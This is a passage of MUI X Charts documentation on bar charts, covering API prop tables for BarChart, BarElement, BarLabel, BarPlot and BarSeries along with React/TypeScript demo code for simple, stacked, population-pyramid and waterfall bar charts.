'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number }>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (SVGSVGElement).

> Any other props supplied will be provided to the root element (native element).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| axisLabel | `ChartsText` | - | Custom component for axis label. |
| axisLine | `'line'` | - | Custom component for the axis main line. |
| axisTick | `'line'` | - | Custom component for the axis tick. |
| axisTickLabel | `ChartsText` | - | Custom component for tick label. |
| bar | `BarElementPath` | - | The component that renders the bar. |
| barLabel | `BarLabel` | - | The component that renders the bar label. |
| baseButton | `undefined` | - |  |
| baseIconButton | `undefined` | - |  |
| legend | `ChartsLegend` | - | Custom rendering of the legend. |
| loadingOverlay | `ChartsLoadingOverlay` | - | Overlay component rendered when the chart is in a loading state. |
| noDataOverlay | `ChartsNoDataOverlay` | - | Overlay component rendered when the chart has no data to display. |
| toolbar | `ChartsToolbar` | - | Custom component for the toolbar. |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/BarChart/BarChart.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/BarChart/BarChart.tsx)

---

# Source: https://mui.com/x/react-charts/bar-demo.md

---
title: Charts - Bar demos
productId: x-charts
components: BarChart, BarElement, BarPlot
---

# Charts - Bar demos

This page groups demos using bar charts.

## TinyBarChart

```tsx
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { BarPlot } from '@mui/x-charts/BarChart';

const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function TinyBarChart() {
  return (
    <ChartContainer
      width={500}
      height={300}
      series={[{ data: uData, label: 'uv', type: 'bar' }]}
      xAxis={[{ scaleType: 'band', data: xLabels }]}
    >
      <BarPlot />
    </ChartContainer>
  );
}

```

## SimpleBarChart

```tsx
import Box from '@mui/material/Box';
import { BarChart } from '@mui/x-charts/BarChart';

const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function SimpleBarChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <BarChart
        series={[
          { data: pData, label: 'pv', id: 'pvId' },
          { data: uData, label: 'uv', id: 'uvId' },
        ]}
        xAxis={[{ data: xLabels, height: 28 }]}
        yAxis={[{ width: 50 }]}
      />
    </Box>
  );
}

```

## StackedBarChart

```tsx
import Box from '@mui/material/Box';
import { BarChart } from '@mui/x-charts/BarChart';

const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function StackedBarChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <BarChart
        series={[
          { data: pData, label: 'pv', id: 'pvId', stack: 'total' },
          { data: uData, label: 'uv', id: 'uvId', stack: 'total' },
        ]}
        xAxis={[{ data: xLabels, height: 28 }]}
        yAxis={[{ width: 50 }]}
      />
    </Box>
  );
}

```

## MixedBarChart

```tsx
import Box from '@mui/material/Box';
import { BarChart } from '@mui/x-charts/BarChart';

const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const amtData = [2400, 2210, 2290, 2000, 2181, 2500, 2100];

const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function MixedBarChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <BarChart
        series={[
          { data: pData, label: 'pv', stack: 'stack1' },
          { data: amtData, label: 'amt' },
          { data: uData, label: 'uv', stack: 'stack1' },
        ]}
        xAxis={[{ data: xLabels, height: 28 }]}
        yAxis={[{ width: 50 }]}
      />
    </Box>
  );
}

```

## PositiveAndNegativeBarChart

```tsx
import Box from '@mui/material/Box';
import { BarChart } from '@mui/x-charts/BarChart';

const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, -9800, 3908, 4800, -3800, 4300];

const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function PositiveAndNegativeBarChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <BarChart
        series={[
          { data: pData, label: 'pv' },
          { data: uData, label: 'uv' },
        ]}
        xAxis={[{ data: xLabels, height: 28 }]}
        yAxis={[{ width: 60, max: 10000 }]}
      />
    </Box>
  );
}

```

## BarChartStackedBySign

```tsx
import Box from '@mui/material/Box';
import { BarChart } from '@mui/x-charts/BarChart';

const pData = [2400, 1398, -9800, 3908, 4800, -3800, 4300];
const uData = [4000, -3000, -2000, 2780, -1890, 2390, 3490];

const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function BarChartStackedBySign() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <BarChart
        series={[
          { data: pData, label: 'pv', id: 'pvId', stack: 'stack1' },
          { data: uData, label: 'uv', id: 'uvId', stack: 'stack1' },
        ]}
        xAxis={[{ data: xLabels, height: 28 }]}
        yAxis={[{ width: 60 }]}
      />
    </Box>
  );
}

```

## BiaxialBarChart

```tsx
import { BarChart } from '@mui/x-charts/BarChart';
import Box from '@mui/material/Box';

const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];

const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function BiaxialBarChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <BarChart
        series={[
          {
            data: pData,
            label: 'pv',
            id: 'pvId',

            yAxisId: 'leftAxisId',
          },
          {
            data: uData,
            label: 'uv',
            id: 'uvId',
            yAxisId: 'rightAxisId',
          },
        ]}
        xAxis={[{ data: xLabels, height: 28 }]}
        yAxis={[
          { id: 'leftAxisId', width: 50 },
          { id: 'rightAxisId', position: 'right' },
        ]}
      />
    </Box>
  );
}

```

## Population pyramid

```tsx
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { BarChart } from '@mui/x-charts/BarChart';

const ageGroups = [
  '100+ yrs',
  '95-99 yrs',
  '90-94 yrs',
  '85-89 yrs',
  '80-84 yrs',
  '75-79 yrs',
  '70-74 yrs',
  '65-69 yrs',
  '60-64 yrs',
  '55-59 yrs',
  '50-54 yrs',
  '45-49 yrs',
  '40-44 yrs',
  '35-39 yrs',
  '30-34 yrs',
  '25-29 yrs',
  '20-24 yrs',
  '15-19 yrs',
  '10-14 yrs',
  '5-9 yrs',
  '0-4 yrs',
];

const male = [
  1139, 8291, 50323, 201240, 476263, 696606, 1012668, 1478069, 2042614, 2068112,
  2258061, 2061862, 2067075, 1808706, 1796779, 1933726, 1620461, 1183580, 1189663,
  1097221, 766227,
];

const female = [
  5770, 36739, 168603, 445118, 762492, 899933, 1152098, 1585781, 2105499, 2045845,
  2231491, 2000130, 1967944, 1673805, 1593655, 1695058, 1484776, 1104293, 1122176,
  1044863, 727814,
];

const numberFormatter = Intl.NumberFormat('en-US', {
  useGrouping: true,
});
const numberWithSuffixFormatter = new Intl.NumberFormat('en-US', {
  notation: 'compact',
});
const valueFormatter = (population: number | null) =>
  population ? `${numberFormatter.format(Math.abs(population))}` : '';

export default function PopulationPyramidBarChart() {
  return (
    <Stack width="100%" height={550} sx={{ mx: [0, 4] }}>
      <Typography
        variant="h6"
        component="span"
        textAlign="center"
        data-hide-overview
      >
        South Korea Population Pyramid - 2022
      </Typography>
      <BarChart
        layout="horizontal"
        margin={{ right: 0, left: 0 }}
        series={[
          {
            data: male.map((population) => -population),
            label: 'Male',
            type: 'bar',
            valueFormatter,
            stack: 'stack',
          },
          {
            data: female,
            label: 'Female',
            type: 'bar',
            valueFormatter,
            stack: 'stack',
          },
        ]}
        yAxis={[
          {
            data: ageGroups,
            width: 60,
            tickLabelInterval: (value, index) => index % 2 === 0,
            disableLine: true,
            disableTicks: true,
          },
        ]}
        xAxis={[
          {
            valueFormatter: (population: number) =>
              numberWithSuffixFormatter.format(Math.abs(population)),
            disableLine: true,
            disableTicks: true,
            domainLimit(min, max) {
              const extremum = Math.max(-min, max);
              const roundedExtremum = Math.ceil(extremum / 100_000) * 100_000;
              return { min: -roundedExtremum, max: roundedExtremum };
            },
          },
        ]}
        grid={{ vertical: true }}
      />
      <Typography variant="caption">Source: KOSIS</Typography>
    </Stack>
  );
}

```

## Waterfall Chart [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

The following demo shows a waterfall chart built using a [range bar chart](/x/react-charts/range-bar/).

```tsx
import * as React from 'react';
import { useTheme } from '@mui/system';
import { rainbowSurgePalette } from '@mui/x-charts/colorPalettes';
import { BarChartPremium } from '@mui/x-charts-premium/BarChartPremium';

const dollarFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  compactDisplay: 'short',
  currency: 'USD',
  maximumFractionDigits: 0,
});

export default function WaterfallChart() {
  const theme = useTheme();
  const palette = rainbowSurgePalette(theme.palette.mode);
  const blue = palette[0];
  const red = palette[2];
  const green = palette[4];

  return (
    <BarChartPremium
      xAxis={[
        {
          data: [
            'Revenue',
            'Product\nSales',
            'Services\nRevenue',
            'Cost of\nGoods Sold',
            'Marketing\nExpenses',
            'Operating\nExpenses',
            'Tax',
            'Net Profit',
          ],
        },
      ]}
      yAxis={[
        {
          width: 72,
          valueFormatter: (value: number) => dollarFormatter.format(value),
        },
      ]}
      series={[
        {
          type: 'rangeBar',
          data: [
            [0, 500_000],
            [500_000, 650_000],
            [650_000, 730_000],
            [730_000, 530_000],
            [530_000, 455_000],
            [455_000, 335_000],
            [335_000, 280_000],
            [0, 280_000],
          ],
          valueFormatter: (value) =>
            value === null ? null : dollarFormatter.format(value[1] - value[0]),
          colorGetter: (data) => {
            const value = data?.value;

            if (value == null || value[0] === 0) {
              return blue;
            }

            return value[1] - value[0] >= 0 ? green : red;
          },
        },
      ]}
      height={300}
    />
  );
}

```

---

# Source: https://mui.com/x/api/charts/bar-element.md

# BarElement API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Bar demos](/x/react-charts/bar-demo/)
- [Charts - Bars](/x/react-charts/bars/)

## Import

```jsx
import { BarElement } from '@mui/x-charts/BarChart';
// or
import { BarElement } from '@mui/x-charts';
// or
import { BarElement } from '@mui/x-charts-pro';
// or
import { BarElement } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| bar | `BarElementPath` | - | The component that renders the bar. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | faded | Styles applied to the root element if it is faded. |
| - | highlighted | Styles applied to the root element if it is highlighted. |
| - | root | Styles applied to the root element. |
| - | series | Styles applied to the root element for a specified series.
Needs to be suffixed with the series ID: `.${barElementClasses.series}-${seriesId}`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/BarChart/BarElement.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/BarChart/BarElement.tsx)

---

# Source: https://mui.com/x/api/charts/bar-label.md

# BarLabel API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Bars](/x/react-charts/bars/)

## Import

```jsx
import { BarLabel } from '@mui/x-charts/BarChart';
// or
import { BarLabel } from '@mui/x-charts';
// or
import { BarLabel } from '@mui/x-charts-pro';
// or
import { BarLabel } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| height | `number` | - | Yes |  |
| width | `number` | - | Yes |  |
| x | `number` | - | Yes |  |
| xOrigin | `number` | - | Yes |  |
| y | `number` | - | Yes |  |
| yOrigin | `number` | - | Yes |  |
| hidden | `bool` | - | No |  |
| placement | `'center' \| 'outside'` | `'center'` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| barLabel | `BarLabel` | - | The component that renders the bar label. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | animate | Styles applied to the root element if it is animated. |
| - | faded | Styles applied to the root element if it is faded. |
| - | highlighted | Styles applied to the root element if it is highlighted. |
| - | root | Styles applied to the root element. |
| - | series | Styles applied to the root element for a specified series.
Needs to be suffixed with the series ID: `.${barLabelClasses.series}-${seriesId}`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/BarChart/BarLabel/BarLabel.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/BarChart/BarLabel/BarLabel.tsx)

---

# Source: https://mui.com/x/api/charts/bar-plot.md

# BarPlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Bar demos](/x/react-charts/bar-demo/)
- [Charts - Bars](/x/react-charts/bars/)

## Import

```jsx
import { BarPlot } from '@mui/x-charts/BarChart';
// or
import { BarPlot } from '@mui/x-charts';
// or
import { BarPlot } from '@mui/x-charts-pro';
// or
import { BarPlot } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| borderRadius | `number` | - | No |  |
| onItemClick | `function(event: React.MouseEvent<SVGElement, MouseEvent>, barItemIdentifier: BarItemIdentifier) => void` | - | No |  |
| renderer | `'svg-batch' \| 'svg-single'` | `'svg-single'` | No |  |
| skipAnimation | `bool` | `undefined` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| bar | `BarElementPath` | - | The component that renders the bar. |
| barLabel | `BarLabel` | - | The component that renders the bar label. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/BarChart/BarPlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/BarChart/BarPlot.tsx)

---

# Source: https://mui.com/x/api/charts/bar-series.md

# BarSeries API

## Import

```jsx
import { BarSeries } from '@mui/x-charts-premium'
// or
import { BarSeries } from '@mui/x-charts-pro'
// or
import { BarSeries } from '@mui/x-charts'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| type | `'bar'` | - | Yes |  |
| barLabel | `'value' \| ((item: BarItem, context: BarLabelContext) => string \| null \| undefined)` | - | No |  |
| barLabelPlacement | `'center' \| 'outside'` | `'center'` | No |  |
| color | `string` | - | No |  |
| colorGetter | `(data: ColorCallbackValue<TValue>) => string` | - | No |  |
| data | `ReadonlyArray<BarValueType \| null>` | - | No |  |
| dataKey | `string` | - | No |  |
| highlightScope | `HighlightScope` | - | No |  |
| id | `SeriesId` | - | No |  |
| label | `string \| ((location: 'tooltip' \| 'legend') => string)` | - | No |  |
| labelMarkType | `ChartsLabelMarkType` | - | No |  |
| layout | `'horizontal' \| 'vertical'` | `'vertical'` | No |  |
| minBarSize | `number` | `0px` | No |  |
| stack | `string` | - | No |  |
| stackOffset | `StackOffsetType` | `'diverging'` | No |  |
| stackOrder | `StackOrderType` | `'none'` | No |  |
| valueFormatter | `SeriesValueFormatter<TValue>` | - | No |  |
| xAxisId | `AxisId` | - | No |  |
| yAxisId | `AxisId` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/react-charts/bars.md

---
title: React Bar chart
productId: x-charts
components: BarChart, BarChartPro, BarElement, BarPlot, ChartsGrid, BarLabel
---

# Charts - Bars

Bar charts express quantities through a bar's length, using a common baseline.

## Overview

Bar charts are ideal for comparing discrete categories.
They excel at visualizing differences in magnitude across categories (or a group of categories), highlight trends, and compare proportions at a glance.
The categories can represent progressive values such as time periods, or independent groups such as products, countries, age brackets, etc.
Here are the basic requirements to create a bar chart:

- One categorical dimension (x-axis for vertical bars, y-axis for horizontal bars)
- One or more numerical metric for length of each bar

The horizontal bar chart below compares voter turnout in some European countries:

```tsx
import * as React from 'react';
import { useTheme, styled } from '@mui/material/styles';
import Typography from '@mui/material/Typography';
import { BarChart, type BarLabelProps, type BarProps } from '@mui/x-charts/BarChart';
import { useAnimate, useAnimateBar, useDrawingArea } from '@mui/x-charts/hooks';
import { PiecewiseColorLegend } from '@mui/x-charts/ChartsLegend';
import { interpolateObject } from '@mui/x-charts-vendor/d3-interpolate';
import Box from '@mui/material/Box';
import votesTurnout from '../dataset/votes.json';

export default function ShinyBarChartHorizontal() {
  return (
    <Box width="100%">
      <Typography marginBottom={2}>
        European countries with lowest & highest voter turnout
      </Typography>
      <BarChart
        height={300}
        dataset={votesTurnout}
        series={[
          {
            id: 'turnout',
            dataKey: 'turnout',
            stack: 'voter turnout',
            valueFormatter: (value: number | null) => `${value}%`,
          },
        ]}
        layout="horizontal"
        xAxis={[
          {
            id: 'color',
            min: 0,
            max: 100,
            colorMap: {
              type: 'piecewise',
              thresholds: [50, 85],
              colors: ['#d32f2f', '#78909c', '#1976d2'],
            },
            valueFormatter: (value: number) => `${value}%`,
          },
        ]}
        barLabel={(v) => `${v.value}%`}
        yAxis={[
          {
            scaleType: 'band',
            dataKey: 'country',
            width: 140,
          },
        ]}
        slots={{
          legend: PiecewiseColorLegend,
          barLabel: BarLabelAtBase,
          bar: BarShadedBackground,
        }}
        slotProps={{
          legend: {
            axisDirection: 'x',
            markType: 'square',
            labelPosition: 'inline-start',
            labelFormatter: ({ index }) => {
              if (index === 0) {
                return 'lowest turnout';
              }
              if (index === 1) {
                return 'average';
              }
              return 'highest turnout';
            },
          },
        }}
      />
    </Box>
  );
}

export function BarShadedBackground(props: BarProps) {
  const { ownerState, skipAnimation, id, dataIndex, xOrigin, yOrigin, ...other } =
    props;
  const theme = useTheme();

  const animatedProps = useAnimateBar(props);
  const { width } = useDrawingArea();
  return (
    <React.Fragment>
      <rect
        {...other}
        fill={(theme.vars || theme).palette.text.primary}
        opacity={theme.palette.mode === 'dark' ? 0.05 : 0.1}
        x={other.x}
        width={width}
      />
      <rect
        {...other}
        filter={ownerState.isHighlighted ? 'brightness(120%)' : undefined}
        opacity={ownerState.isFaded ? 0.3 : 1}
        data-highlighted={ownerState.isHighlighted || undefined}
        data-faded={ownerState.isFaded || undefined}
        {...animatedProps}
      />
    </React.Fragment>
  );
}

const Text = styled('text')(({ theme }) => ({
  ...theme?.typography?.body2,
  stroke: 'none',
  fill: (theme.vars || theme).palette.common.white,
  transition: 'opacity 0.2s ease-in, fill 0.2s ease-in',
  textAnchor: 'start',
  dominantBaseline: 'central',
  pointerEvents: 'none',
  fontWeight: 600,
}));

function BarLabelAtBase(props: BarLabelProps) {
  const {
    seriesId,
    dataIndex,
    color,
    isFaded,
    isHighlighted,
    classes,
    xOrigin,
    yOrigin,
    x,
    y,
    width,
    height,
    layout,
    skipAnimation,
    ...otherProps
  } = props;

  const animatedProps = useAnimate(
    { x: xOrigin + 8, y: y + height / 2 },
    {
      initialProps: { x: xOrigin, y: y + height / 2 },
      createInterpolator: interpolateObject,
      transformProps: (p) => p,
      applyProps: (element: SVGTextElement, p) => {
        element.setAttribute('x', p.x.toString());
        element.setAttribute('y', p.y.toString());
      },
      skip: skipAnimation,
    },
  );

  return <Text {...otherProps} {...animatedProps} />;
}

```

## Basics

Bar charts series should contain a `data` property containing an array of values.

You can specify bar ticks with the `xAxis` prop.
This axis might have `scaleType='band'` and its `data` should have the same length as your series.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';

export default function BasicBars() {
  return (
    <BarChart
      xAxis={[{ data: ['group A', 'group B', 'group C'] }]}
      series={[{ data: [4, 3, 5] }, { data: [1, 6, 3] }, { data: [2, 5, 6] }]}
      height={300}
    />
  );
}

```

### Using a dataset

If your data is stored in an array of objects, you can use the `dataset` helper prop.
It accepts an array of objects such as `dataset={[{x: 1, y: 32}, {x: 2, y: 41}, ...]}`.

You can reuse this data when defining the series and axis, thanks to the `dataKey` property.

For example `xAxis={[{ dataKey: 'x'}]}` or `series={[{ dataKey: 'y'}]}`.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';
import { dataset, valueFormatter } from '../dataset/weather';

const chartSetting = {
  yAxis: [
    {
      label: 'rainfall (mm)',
      width: 60,
    },
  ],
  height: 300,
};

export default function BarsDataset() {
  return (
    <BarChart
      dataset={dataset}
      xAxis={[{ dataKey: 'month' }]}
      series={[
        { dataKey: 'london', label: 'London', valueFormatter },
        { dataKey: 'paris', label: 'Paris', valueFormatter },
        { dataKey: 'newYork', label: 'New York', valueFormatter },
        { dataKey: 'seoul', label: 'Seoul', valueFormatter },
      ]}
      {...chartSetting}
    />
  );
}

```

## Bar size

You can define bar dimensions with `categoryGapRatio` and `barGapRatio` properties.

The `categoryGapRatio` defines the gap between two categories.
The ratio is obtained by dividing the size of the gap by the size of the category (the space used by bars).

The `barGapRatio` defines the gap between two bars of the same category.
It's the size of the gap divided by the size of the bar.
So a value of `1` will result in a gap between bars equal to the bar width.
And a value of `-1` will make bars overlap on top of each other.

```tsx
import Typography from '@mui/material/Typography';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { BarChart } from '@mui/x-charts/BarChart';
import { balanceSheet, addLabels } from './netflixsBalanceSheet';

const series = addLabels([
  { dataKey: 'totAss' },
  { dataKey: 'totLia', stack: 'passive' },
  { dataKey: 'totEq', stack: 'passive' },
]);

export default function BarGap() {
  return (
    <ChartsUsageDemo
      componentName="Bar gap"
      data={{
        categoryGapRatio: {
          knob: 'number',
          defaultValue: 0.3,
          step: 0.1,
          min: 0,
          max: 1,
        },
        barGapRatio: {
          knob: 'number',
          defaultValue: 0.1,
          step: 0.1,
          min: -2,
          max: 5,
        },
      }}
      renderDemo={(props) => (
        <div style={{ width: '100%' }}>
          <Typography>Netflix balance sheet</Typography>
          <BarChart
            dataset={balanceSheet}
            series={series}
            height={300}
            xAxis={[
              {
                dataKey: 'year',
                categoryGapRatio: props.categoryGapRatio,
                barGapRatio: props.barGapRatio,
              },
            ]}
            yAxis={[{ valueFormatter: (v: number) => `$ ${v / 1000000}B` }]}
            hideLegend
          />
        </div>
      )}
      getCode={({ props }) => {
        return `import { BarChart } from '@mui/x-charts/BarChart';

<BarChart
  // ...
  xAxis={[
    {
      scaleType: 'band',
      data: ['Page 1', 'Page 2', 'Page 3'],
      categoryGapRatio: ${props.categoryGapRatio},
      barGapRatio: ${props.barGapRatio},
    },
  ]}
/>`;
      }}
    />
  );
}

```

## Stacking

Bar series accept a string property named `stack`.
Series with the same `stack` value are stacked on top of each other.

```tsx
import Typography from '@mui/material/Typography';
import { BarChart, BarChartProps } from '@mui/x-charts/BarChart';
import { addLabels, balanceSheet, valueFormatter } from './netflixsBalanceSheet';

export default function StackBars() {
  return (
